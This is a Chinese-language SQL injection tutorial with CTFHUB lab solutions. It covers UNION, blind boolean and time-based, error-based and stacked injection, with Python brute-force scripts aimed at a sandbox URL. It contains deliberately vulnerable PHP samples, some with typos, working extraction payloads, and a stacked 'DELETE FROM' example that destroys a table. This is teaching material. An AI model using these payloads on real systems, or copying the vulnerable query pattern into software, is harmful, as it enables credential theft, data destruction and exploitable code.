SQL
注入简介
在web应用开发过程中,为了实现内容的快速更新,很多开发者使用数据库对数据进行储存。而由于开发者在编写程序过程中,对用户传人数据过滤不严格,将可能存在的攻击载荷拼接到SQL
查询语句中,再将这些查询语句传递给后端的数据库进行执行,从而达到攻击者预期的执行效果
SQL
注入基础
整数型注入
和UNION联合注入
简述 网页后端PHP
的部分源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $conn = mysqli_connect ("127.0.0.1" , "root" , "password" , "database" ); $res = mysqli_query ($conn , "SELECT name , grade FROM stu_info WHERE id = " .$_GET ['id' ]); $row = mysqli_fetch_arry ($res ); echo "<center>" ; echo "<h1>" .$row ['name' ]."</h1>" ; echo "<br>" ; echo "<h1>" .$row ['grade' ]."</h1>" ; echo "</center>" ; ?>
与后端连接的数据库:
stu_info
表(存储学生信息)
admin
表(存储后台管理员数据)
前端网址:examle.com
正常用户传入数据 通过GET
方式传入参数id=1
:
1 https://examle.com/?id=1
收到请求的后端PHP
代码会将GET
方式传入的id=1
与前面的SQL
查询语句进行拼接,最后传给执行MySQL
的查询语句如下:
1 2 3 SELECT name , grade FROM stu_infoWHERE id = 1
会在前端回显下面的数据库中的数据:
SQL
注入攻击演示 下面是用户利用SQL
注入攻击获取后台管理员权限的演示
访问https://examle.com/?id=1
与https://examle.com/?id=2-1
,发现回显的数据都是:
通过这个数字运算行为判断这是个整数型注入,从后端代码的$_GET['id']
没有被引号包裹也可以看出这是个整数型注入。这时我们可以直接输入SQL
查询语句来干扰正常的查询:
1 2 3 4 5 SELECT name , grade FROM stu_infoWHERE id = 1 UNION SELECT name, pwd From admin
这段语句是查询stu_info
表中id=1
的学生的name
和grade
数据,并且联合查询表admin
中的所有数据来获取后台管理员的全部信息。但是前台并没有给我们想要的数据,因为后端的PHP
代码决定了一次只能显示一行记录,所以我们需要将第二条查询结果放在第一行,此时有多种办法:
在原有语句后面加上limit 1,1
参数(取查询结果第一条记录的后一条记录)。
指定id=-1
或者一个很大的值,使第一条语句无法查询到数据。
所以我们输入下面的SQL
语句干扰正常的查询:
1 2 3 4 5 SELECT name , grade FROM stu_infoWHERE id = -1 UNION SELECT name, pwd From admin
可以回显的到admin
表中的全部数据,从而获得了网页的后台管理权限。
在数据库中执行该语句可以查询到如下数据:
这种使用UNION
语句的注入方法称为UNION联合查询注入
。
但是,上述的攻击方式有一个致命的缺陷,我们事先并不知道网页后台的数据库名字以及其中的表单名、列名,这种情况下如何使用SQL注入
攻击呢?
同样的,先通过传入id=1
和id=2-1
来判断这是一个整数型注入,然后直接输入SQL
语句来查询本数据库所有的表单名字:
1 2 3 4 5 6 7 8 9 SELECT name , grade FROM stu_infoWHERE id = -1 # table_name是information_schema库中表的名字 # group_concat()是用“,”联合多行记录的函数 UNION SELECT 1 ,group_concat(table_name) from information_schema.tables# database()返回当前数据库的名称 where table_schema = database()
然后就能在前端回显所有的表单名了,该条语句在数据库执行会表示出下面的数据:
再次通过注入查询admin
表单中所有的列名:
1 2 3 4 5 6 7 8 SELECT name , grade FROM stu_infoWHERE id = -1 # column_name是information_schema表单中列的名字 # group_concat()是用“,”联合多行记录的函数 UNION SELECT 1 ,group_concat(column_name) from information_schema.columnswhere table_name = 'admin'
就会在前端回显相应的字段名,这段查询语句在数据库执行后得到如下所有表单中的列名字段:
同上述步骤 再次输入我们需要的SQL
查询语句来干扰正常的查询:
1 2 3 4 5 SELECT name , grade FROM stu_infoWHERE id = -1 UNION SELECT name, pwd From admin;
然后在前端回显相应的字段,这段代码在数据库中执行后表示如下数据:
这样就能获取网页的管理员账号和密码,进入网页后门了。
总结 整数型注入
的关键在于找出输入的参数点
,然后通过数学运算判断输入参数附近是否有引号包裹,然后再通过SQL
查询语句的拼接,来获取网页后台的敏感信息。
例题 题目来源:CTFHUB
我们输入数字1 ,得到回显。
根据题意,知道这是个整数型注入,所以我们可以直接爆破表名。
联合查询,查询本数据库所有表名:
1 2 3 select * from news where id= 1 union select 1 ,group_concat(table_name) from information_schema.tables where table_schema= database();
发现没有只有这个数据回显。
后端代码决定了该页面只显示一个数据,我们需要用一些办法使我们需要的结果在第一行:
1 2 3 select * from news where id= -1 union select 1 ,group_concat(table_name) from information_schema.tables where table_schema= database();
找到了名为flag 的表。
接下来查询表flag 里的所有列名:
1 2 3 4 select * from news where id= -1 union select 1 ,group_concat(column_name) from information_schema.columns where table_name= 'flag' ;
发现只有一个flag 的列。
最后查询这个flag 表中flag 列中的数据:
1 2 3 select * from news where id= -1 union select 1 ,group_concat(flag) from flag;
得到flag。
字符型注入
简述 简单修改一下网页后端的源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $conn = mysqli_connect ("127.0.0.1" , "root" , "password" , "database" ); $res = mysqli_query ($conn , "SELECT name , grade FROM stu_info WHERE id = '" .$_GET ['id' ]"'" ); $row = mysqli_fetch_arry ($res ); echo "<center>" ; echo "<h1>" .$row ['name' ]."</h1>" ; echo "<br>" ; echo "<h1>" .$row ['grade' ]."</h1>" ; echo "</center>" ; ?>
可以看到在GET
参数输入的地方包裹了双引号。
如何判断是字符型注入还是整数型注入呢?
在MySql
中,等号两边如果数据类型不同,会发生强制转换,例如,1a
会被强制转化为1
,a
会被强制转化为0
。按照这个特性,我们通过在前端传入特定的值,就能够很容易判断输入点为字符型。
1 https://examle.com/?id=1' UNION SELECT name, pwd From admin #
1
后面的'
使后端源代码的第一个引号提前闭合,#
将后端源代码的最后一个引号注释掉,然后在中间中插入我们需要的查询语句,在后端表示为:
1 2 3 4 5 SELECT name , grade FROM stu_infoWHERE id = '1' UNION SELECT name, pwd From admin #'
例题 题目来源 :CTFHUB
我们先输入1 ,得到回显,查看查询语言,发现1 被引号包裹,所以这是个字符型注入。
提前使第一个引号闭合,然后用#
将第二个引号注释,在中间插入我们需要的查询语句。
依旧是先爆破表名,将我们的注入的语句拼接后在后端执行的查询语句:
1 2 3 4 5 select * from news where id= '-1' union select 1 ,group_concat(table_name) from information_schema.tables where table_schema= database()#'
在前端得到回显,发现名为flag 的表单。
然后查询flag 表中的所有列,将我们的注入语句拼接后在后端执行的查询语句如下:
1 2 3 4 5 select * from news where id= '-1' union select 1 ,group_concat(column_name) from information_schema.columns where table_name= 'flag' #'
在前端得到回显,发现只有一个名为flag 的列:
最后查询flag 表单中flag 列的数据,拼接后在后台执行的查询语句如下:
1 2 3 4 select * from news where id= '-1' union select 1 ,group_concat(flag) from flag#'
在前端得到回显,得到flag。
布尔盲注
和时间盲注
布尔盲注
简述布尔盲注一般适用于页面没有回显字段,不支持联合查询
,且web页面返回true
或者 false
,构造SQL
语句,利用and
,or
等关键字来使其后的语句 true
、 false
,例如:
1 Select name,grade from stu_info where id= 1 and substr(database(),1 ,1 ) = 's' "
使web页面返回true
或者false
,来判断数据库名第一个字母是否为s
,从而达到注入的目的来获取信息。
下面是需要用到的比较重要的函数:
ascii(char)
函数,返回字符ascii
码值
length(str)
函数,返回字符串的长度
left(str,len)
函数,返回从左至右截取固定长度的字符串
substr(str, pos, len)
substring(str, pos, len)
函数 , 返回从pos
位置开始到len
长度的子字符串
注入流程:
求当前数据库长度
求当前数据库表的ASCII
求当前数据库中表的个数
求当前数据库中其中一个表名的长度
求当前数据库中其中一个表名的ASCII
求列名的数量
求列名的长度
求列名的ASCII
求字段的数量
求字段内容的长度
求字段内容对应的ASCII
布尔盲注
脚本(按需修改):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport syssession = requests.session() url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" name = "" for i in range (1 , 50 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "1 and substr(database(),%d,1) = '%s'" % (i, str_ascii) str_get = session.get(url=url + payload).text if "query_success" in str_get: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
布尔盲注详解
时间盲注
简述时间盲注
是指基于时间的盲注,也叫延时注入
,根据页面的响应时间来判断是否存在注入。
使用场景:
页面没有回显位置(联合查询注入
无效)
页面不显示数据库的报错信息(报错注入
无效)
无论成功还是失败,页面只响应一种结果(布尔盲注
无效)
使用步骤:
if(条件表达式,ture,false)
and
前后均为真
or
其中一个为真
判断注入点
尝试构造以上payload
,延迟五秒以上则说明存在注入点。
判断长度
1 1 and if((length(查询语句) = 1 ), sleep(5 ), 3 )
如果页面响应时间超过5秒,说明长度判断正确; 如果页面响应时间不超过5秒,说明长度判断错误,继续判断长度。
枚举字符
1 1 and if((ascii(substr(查询语句,1 ,1 )) = 'char' ), sleep(5 ), 3 )
如果页面响应时间超过5秒,说明字符内容判断正确,继续判断之后的字符; 如果页面响应时间不超过5秒,说明字符内容判断错误,递增猜解该字符的其他可能性。
时间盲注
脚本(按需修改):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsimport timeurl = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/" payload_len = """?id=1 and if( (length(database()) ={n}) ,sleep(5),3)""" payload_str = """?id=1 and if( (ascii( substr( (database()) ,{n},1) ) ={r}) , sleep(5), 3)""" def getLength (url, payload ): length = 1 while True : start_time = time.time() response = requests.get(url= url+payload_len.format (n= length)) use_time = time.time() - start_time if use_time > 5 : print ('测试长度完成,长度为:' , length,) return length; else : print ('正在测试长度:' ,length) length += 1 def getStr (url, payload, length ): str = '' for l in range (1 , length+1 ): for n in range (33 , 126 ): start_time = time.time() response = requests.get(url= url+payload_str.format (n= l, r= n)) use_time = time.time() - start_time if use_time > 5 : str += chr (n) print ('第' , l, '个字符猜解成功:' , str ) break ; return str ; length = getLength(url, payload_len) getStr(url, payload_str, length)
例题 题目来源 :CTFHUB
解题思路 :由于手动盲注工作量过大,这里我们选择用python
脚本构造payload
进行布尔盲注(还可以使用sqlmap
注入)。
首先获取数据库名,构造payload 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport syssession = requests.session() url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" name = "" for i in range (1 , 50 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "1 and substr(database(),%d,1) = '%s'" % (i, str_ascii) str_get = session.get(url=url + payload).text if "query_success" in str_get: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
运行结果得出数据库名为sqli
。
第二步获取表名,重新构造payload ,limit 0,1
表示获取第一个表名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport syssession = requests.session() url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" name = "" for i in range (1 , 50 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "1 and substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),%d,1) = '%s'" % (i, str_ascii) str_get = session.get(url=url + payload).text if "query_success" in str_get: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
运气很好,第一个表名就是我们需要的flag 。
重新构造payload ,接下来获取flag 表中的字段名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport syssession = requests.session() url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" name = "" for i in range (1 , 50 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "1 and substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),%d,1) = '%s'" % (i, str_ascii) str_get = session.get(url=url + payload).text if "query_success" in str_get: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
发现flag 表中有一个名为flag 的字段。
最后重新构造payload ,爆破得到flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport syssession = requests.session() url = "http://challenge-3dc1958525b90a0b.sandbox.ctfhub.com:10800/?id=" name = "" for i in range (1 , 50 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "1 and substr((select flag from flag),%d,1) = '%s'" % (i, str_ascii) str_get = session.get(url=url + payload).text if "query_success" in str_get: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
报错注入
和堆叠注入
报错注入
简述为了方便开发者进行调试,有的网站会开启错误调试信息,修改后端代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $conn = mysqli_connect ("127.0.0.1" , "root" , "password" , "database" ); $res = mysqli_query ($conn , "SELECT name , grade FROM stu_info WHERE id = '" .$_GET ['id' ]"'" ) OR VAR_DUMP (mysqli_errot ($conn )); $row = mysqli_fetch_arry ($res ); echo "<center>" ; echo "<h1>" .$row ['name' ]."</h1>" ; echo "<br>" ; echo "<h1>" .$row ['grade' ]."</h1>" ; echo "</center>" ; ?>
此时,只要触发SQL
语句的错误,就可以在页面上看到错误信息,MySQL
会将语句执行后的报错信息输出,这种注入方式称为报错注入
。
updatexml
报错注入updatexml
函数1 updatexml(xml_document,xpath_string,new_value)
第一个参数:XML_document
是String
格式,为XML文档对象
的名称,文中为Doc1
第二个参数: XPath_string
(Xpath
格式的字符串)。
第三个参数: new_value
,String
格式,替换查找到的符合条件的数据。
该函数用于改变文档中符合条件的节点的值。
用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 updatexml(1 ,concat(0x7e ,database(),0x7e ),1 ) # 获取数据库名字 updatexml(1 ,concat(0x7e ,(select table_name from information_schema.tables where table_schema= database() limit 0 ,1 ),0x7e ),1 ) # 获取表的数量 updatexml(1 ,concat(0x7e ,(select table_name from information_schema.tables where table_schema= database() limit 0 ,1 ),0x7e ),1 ) # 获取表的名字 updatexml(1 ,concat(0x7e ,(select column_name from information_schema.columns where table_name = 'table_name' limit 0 ,1 ),0x7e ),1 ) # 获取字段的名字
1 extractvalue(xml_document,xpath_string)
第一个参数:XML_document
是String
格式,为XMIL
文档对象的名称。
第二个参数:XPath_string
(Xpath
格式的字符串)。
该函数用于从目标XML
中返回包含所查询值的字符串。
用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 extractvalue(1 ,concat(0x7e ,(database()),0x7e )) #获取数据库名字 extractvalue(1 ,concat(0x7e ,(select count (table_name) from information_schema.tables where table_schema= database()),0x7e )) # 获取表的数量 extractvalue(1 ,concat(0x7e ,(select table_name from information_schema.tables where table_schema= database() limit 0 ,1 ),0x7e )) # 获取表的名字 extractvalue(1 ,concat(0x7e ,(select column_name from information_schema.columns where table_name= 'table_name' limit 0 ,1 ),0x7e )) # 获取字段的名字
floor
报错注入floor
函数floor
报错注入是利用count() 、rand() 、floor() 、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor ,count ,group by 冲突报错。rand() 返回[0,1) 之间的随机数,floor() 对数字向下取整。
报错原理 :利用数据库表主键不能重复的原理,使用group by
分组,产生主键冗余,导致报错。
详解
用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 union select count (* ),1 ,concat((select database()), floor (rand(0 )* 2 )) as a from information_schema.tables group by a # 获取数据库名字 union select 0x7e ,count (* ),concat((select count (table_name) from information_schema.tables where table_schema= database()), floor (rand(0 )* 2 )) as a from information_schema.tables group by a # 获取表的数量 union select count (* ),1 ,concat((select table_name from information_schema.tables where table_schema = database() limit 0 ,1 ), floor (rand(0 )* 2 )) as a from information_schema.tables group by a # 获取表的名字 union select 1 ,count (* ),concat((select column_name from information_schema.columns where table_name = 'tabel_name' limit 0 ,1 ), floor (rand(0 )* 2 )) as a from information_schema.columns group by a # 获取字段的名字
堆叠注入
简述 Stacked injections(堆叠注入)
,从字面意思就可以看出是多条SQL
语句一起执行。
在SQL
中,分号;
是用来表示一条SQL
语句的结束。试想一下我们在 ; 结束一个SQL
语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而UNION联合注入
也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union
或者union all
执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入1; DELETE FROM products
服务器端生成的SQL
语句为Select name,grade from stu_info where id=1;DELETE FROM stu_info
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $db =new PDO ("mysql:host=localhost:3306;daname=database" ,'root' ,'password' ); $sql ="select name,grade from stu_info where id='" $_GET ['id' ]"'" ; try { foreach ($db ->query ($sql ) as $row ){ print_r ($row ); } } catch (PDOException $e ){ echo $e ->getMessage (); die (); } ?>
例题 题目来源 :CTFHUB
首先获取数据库名字。
1 2 select * from news where id= 1 or updatexml(1 ,concat(0x7e ,database(),0x7e ),1 )
然后获取表的名字,发现第一个表就是我们要找的flag 。
1 2 3 4 select * from news where id= 1 or updatexml(1 ,concat(0x7e ,(select table_name from information_schema.tables where table_schema= database() limit 0 ,1 ),0x7e ),1 )
查询flag 表单中的列名。
1 2 3 4 select * from news where id= 1 or updatexml(1 ,concat(0x7e ,(select column_name from information_schema.columns where table_name= 'flag' limit 0 ,1 ),0x7e ),1 )
最后获取flag 。
1 2 select * from news where id= 1 or updatexml(1 ,concat(0x7e ,(select flag from flag),0x7e ),1 )